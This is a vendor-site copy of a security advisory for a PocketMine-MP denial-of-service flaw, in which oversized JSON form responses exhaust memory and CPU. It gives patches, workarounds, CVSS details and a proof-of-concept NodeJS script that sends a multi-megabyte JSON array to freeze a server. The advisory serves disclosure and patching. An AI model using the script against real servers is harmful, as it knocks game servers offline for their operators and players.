Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-788v-5pfp-93ff — pocketmine-mp

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-770 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

Patches

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed).

2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

  • Any non-existent formId
  • formData containing a massive JSON array (e.g., 10+ MB payload).

3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

```javascript

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';

const port = 19132;

const username = 'Test';

const client = createClient({

host,

port,

username,

offline: true

});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {

console.log('[*] Connected & spawned. Sending malicious packet...');

client.write('modal_form_response', {

formId: 9999, // Form inexistant

formData: hugePayload // JSON énorme

});

console.log('[*] Packet sent. The server should start freezing shortly.');

});

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

GHSA-788v-5pfp-93ff is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

GHSA-788v-5pfp-93ff is recorded against 1 package.

  • pocketmine/pocketmine-mp (fixed in 5.39.2)

Timeline and source

Published on 6 April 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)

Other advisories for this package

pocketmine/pocketmine-mp has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CWE CWE-770
Public Exploit ✅ No
Source OSV
Published 2026-04-06
Updated 2026-08-20
Modified 2026-04-06
Fix URL N/A

Affected Packages

Software From version Fixed in
pocketmine/pocketmine-mp — 5.39.2

Site Security Check

Is pocketmine-mp part of your stack?

GHSA-788v-5pfp-93ff is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated
✓